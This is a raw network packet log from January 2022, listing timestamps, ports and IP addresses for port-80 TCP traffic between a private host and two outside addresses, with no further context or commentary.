Jan 14, 2022 09:26:02.671948910 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.679264069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.679399014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.679513931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.679784060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.679805994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.679963112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.679980040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.680181980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.680201054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.680365086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.680383921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.680548906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.680562973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.680725098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.680740118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.680911064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.680918932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.680938959 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.681152105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.681168079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.681380987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.681396961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.681632996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.681647062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.681862116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.681874990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.682117939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.682132959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.682351112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.682368040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.682591915 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.682598114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.682605028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.682876110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.682893991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.683111906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.683124065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.683358908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.683377028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.683545113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.683722973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.683743954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.684125900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.684139013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.684256077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.684458971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.684474945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.684622049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.684856892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.684954882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.684968948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.685184002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.685359955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.685369015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.685539961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.685558081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.685765982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.685780048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.686009884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.686027050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.686243057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.686259031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.686477900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.686495066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.686708927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.686723948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.686939955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.686959028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.687175035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.687196016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.687407017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.687427044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.687637091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.687649965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.687874079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.687889099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.688112020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.688127995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.688343048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.688357115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.697073936 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.697108030 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.697305918 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.697335005 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.697360992 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.697740078 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.697767019 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.697797060 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.698142052 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.698169947 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.698271990 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.698301077 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.698405981 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.699007034 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.699033022 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.699064016 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.699188948 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.699218035 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.699263096 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.699892998 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.699923038 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.699949026 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.700174093 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.700201988 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.700661898 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.700689077 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.700716019 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.701034069 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.701061010 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.701086998 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.701237917 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.701338053 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.701647043 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.701946974 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.702142954 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.702172041 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.702800989 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.702886105 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.703867912 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.703905106 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.703929901 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.704144955 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.704174042 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.704766989 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.704899073 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.705022097 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.705363989 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.705404043 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.706933975 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.713120937 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.730619907 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.740437984 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.740695953 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.740773916 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.748318911 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.752248049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.752387047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.753153086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.753166914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.753171921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.753326893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.753345966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.753487110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.753503084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.753644943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.753660917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.753813028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.753829002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.753982067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.754061937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.754076958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.754226923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.754242897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.754388094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.754404068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.754537106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.754554033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.754703045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.754722118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.754864931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.754882097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.755028963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.755043983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.755189896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.755206108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.755352974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.755361080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.755367041 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.755410910 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.755451918 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.755455017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.755485058 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.755489111 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.755530119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.755531073 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.755569935 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.755590916 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.755610943 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.755613089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.755640984 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.755651951 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.755690098 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.755692005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.755729914 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.755759001 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.755955935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.755963087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.756022930 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.756057978 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.756350040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.756365061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.756536961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.756555080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.756712914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.756731987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.756881952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.756901979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.757076025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.757096052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.757231951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.757251978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.757421017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.757441998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.757628918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.757654905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.757806063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.757824898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.757962942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.758038998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.758058071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.758189917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.758208990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.758304119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.758496046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.759222984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.759241104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.759388924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.759403944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.759567976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.759584904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.759733915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.759752989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.759902000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.759917974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.760065079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.760078907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.760238886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.760255098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.760421991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.760436058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.760606050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.760622025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.760778904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.760792971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.760962963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.760978937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.761142969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.761157036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.761315107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.761331081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.761477947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.761492014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.761648893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.761665106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.761811018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.761825085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.762016058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.762032986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.762109041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.762372971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.762388945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.762396097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.762546062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.762559891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.762708902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.762725115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.764398098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.773642063 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.784113884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.784151077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.784293890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.784307957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.784482956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.784501076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.784660101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.784673929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.784842014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.784862041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.785016060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.785032034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.785223961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.785248041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.785386086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.785399914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.785556078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.785573006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.785737038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.785753012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.785964966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.785989046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.786115885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.786133051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.786298990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.786313057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.786475897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.786494017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.786659956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.786675930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.786834002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.786853075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.787018061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.787031889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.787195921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.787213087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.787508965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.787524939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.787683964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.787700891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.787869930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.787883997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.788063049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.788079977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.788234949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.788249016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.788428068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.788444042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.788589001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.788602114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.788759947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.788778067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.788935900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.788950920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.789102077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.789119005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.789267063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.789400101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.789808989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.789843082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.789947033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.790136099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.790154934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.790296078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.790401936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.790664911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.790683031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.790813923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.790875912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.791131973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.791250944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.791271925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.791418076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.791524887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.791862011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.791883945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.792032957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.792052984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.792278051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.792296886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.792515993 CET	49891	80	192.168.2.4	185.215.113.35
